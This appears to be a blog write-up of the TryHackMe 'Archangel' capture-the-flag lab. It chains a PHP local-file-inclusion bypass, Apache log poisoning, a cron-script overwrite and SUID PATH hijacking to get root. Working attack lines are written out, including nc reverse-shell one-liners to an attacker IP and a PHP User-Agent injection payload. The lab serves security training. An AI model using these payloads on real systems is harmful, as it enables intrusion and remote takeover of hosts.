7 minutes
THM: Archangel

Nmap
First we scan for open ports
# nmap -p- -T4 -sV -sC 10.10.105.117 -oA nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-07 00:23 BST
Nmap scan report for 10.10.105.117
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 9f:1d:2c:9d:6c:a4:0e:46:40:50:6f:ed:cf:1c:f3:8c (RSA)
| 256 63:73:27:c7:61:04:25:6a:08:70:7a:36:b2:f2:84:0d (ECDSA)
|_ 256 b6:4e:d2:9c:37:85:d6:76:53:e8:c4:e0:48:1c:ae:6c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Wavefire
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.39 seconds
Website
Visiting the website it appears to be a basic example site, however we do notice a domain name for the contact address.
We add an entry into /etc/hosts
for the site and then visit it again. This reveals out first flag.
Running a feroxbuster scan against the site it finds a php page.
# feroxbuster --url http://mafialive.thm
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://mafialive.thm
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Config File β /etc/feroxbuster/ferox-config.toml
π Extract Links β true
π HTTP methods β [GET]
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
200 GET 15l 21w 286c http://mafialive.thm/test.php
403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 3l 3w 59c http://mafialive.thm/
[####################] - 16s 30001/30001 0s found:2 errors:0
[####################] - 16s 30000/30000 1908/s http://mafialive.thm/
Visiting the page shows us a very simple page with a button.
When the button is pressed the message “Control is an illusion” is displayed beneath it and the URL changes to http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php
. We try reading a few files directly, but recieve a message indicating “Sorry, That’s not allowed”.
This indicates there are some restrictions in place. In order to understand these restrictions we need to look at the source code for the test.php
page. By using php://filter/convert.base64-encode/resource=
as part of the request, we can ask for the test.php
page and it will respond with the contents of the file encoded in base64.
After we decode the base64 we can see another flag and how the filtering works.
<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
<?php
//FLAG: thm{**************}
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
if(isset($_GET["view"])){
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
include $_GET['view'];
}else{
echo 'Sorry, Thats not allowed';
}
}
?>
</div>
</body>
</html>
From this code we can see that call whatever file we like as long as ../..
is not in the path and /var/www/html/development_testing
is. We can bypass the restrictions as linux will happily understand ..//..
for going up a directory. Pairing this with a log poisoning attack we can get remote code execution. First we will call the apache log file by visiting http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log
Based on the fields shown in the access log, we can use the agent field to inject some PHP that will get executed when the page is loaded. With our listener startered, simply set the user agent to <?php exec(βrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.18.78 6666 >/tmp/fβ) ?>
and reload the page. With get a shell back and the first user flag.
# nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.11.18.78] from (UNKNOWN) [10.10.105.117] 35786
/bin/sh: 0: can't access tty; job control turned off
$ ls /home
archangel
$ cat /home/archangel/user.txt
thm{l******************y}
User privilege escalation
Checking cron we can see a script is run every minute as a user on the system. Checking the permissions on the script shows that any user can modify it.
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
*/1 * * * * archangel /opt/helloworld.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
$ ls -lah /opt/
total 16K
drwxrwxrwx 3 root root 4.0K Nov 20 2020 .
drwxr-xr-x 22 root root 4.0K Nov 16 2020 ..
drwxrwx--- 2 archangel archangel 4.0K Nov 20 2020 backupfiles
-rwxrwxrwx 1 archangel archangel 66 Nov 20 2020 helloworld.sh
We echo a reverse shell into the script and start our listener.
$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.18.78 6667 >/tmp/f" >> /opt/helloworld.sh
$ cat /opt/helloworld.sh
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.18.78 6667 >/tmp/f
This has escalated our privileges to the “archangel” account and we get another flag.
# nc -lvnp 6667
listening on [any] 6667 ...
connect to [10.11.18.78] from (UNKNOWN) [10.10.105.117] 56010
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(archangel) gid=1001(archangel) groups=1001(archangel)
$ pwd
/home/archangel
$ ls -lah
total 44K
drwxr-xr-x 6 archangel archangel 4.0K Nov 20 2020 .
drwxr-xr-x 3 root root 4.0K Nov 18 2020 ..
-rw-r--r-- 1 archangel archangel 220 Nov 18 2020 .bash_logout
-rw-r--r-- 1 archangel archangel 3.7K Nov 18 2020 .bashrc
drwx------ 2 archangel archangel 4.0K Nov 18 2020 .cache
drwxrwxr-x 3 archangel archangel 4.0K Nov 18 2020 .local
drwxr-xr-x 2 archangel archangel 4.0K Nov 18 2020 myfiles
-rw-r--r-- 1 archangel archangel 807 Nov 18 2020 .profile
drwxrwx--- 2 archangel archangel 4.0K Nov 19 2020 secret
-rw-rw-r-- 1 archangel archangel 66 Nov 18 2020 .selected_editor
-rw-r--r-- 1 archangel archangel 26 Nov 19 2020 user.txt
$ cd secret
$ ls
backup
user2.txt
$ cat user2.txt
thm{h*****************************************n}
Privilege escalation
Looking at the other file in the directory, backup
, we see that it is a executable file and also has the SUID bit set.
$ ls -lah
total 32K
drwxrwx--- 2 archangel archangel 4.0K Nov 19 2020 .
drwxr-xr-x 6 archangel archangel 4.0K Nov 20 2020 ..
-rwsr-xr-x 1 root root 17K Nov 18 2020 backup
-rw-r--r-- 1 root root 49 Nov 19 2020 user2.txt
$ file backup
backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9093af828f30f957efce9020adc16dc214371d45, for GNU/Linux 3.2.0, not stripped
When we execute the file there is a message indicating a copy failed.
$ ./backup
cp: cannot stat '/home/user/archangel/myfiles/*': No such file or directory
This error makes it seem like the backup
binary is simply called the cp
command. We can exploit this by creating our own cp
executable and then ensuring it gets called. First we create it based on the bash
binary instead
$ echo '/bin/bash -p' > cp
$ chmod 777 cp
Then we setup our path so that binary can be called by the backup binary as root.
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
$ pwd
/home/archangel/secret
$ export PATH=/home/archangel/secret:$PATH
And then its just a case of running the binary. It executes as root due to the SUID bit and then calls the our version of cp, which is privileged bash which drops us into a root cell. From here we can just grab the root flag as we are done.
$ ./backup
id
uid=0(root) gid=0(root) groups=0(root),1001(archangel)
cd /root
ls
root.txt
cat root.txt
thm{p**************************************************n}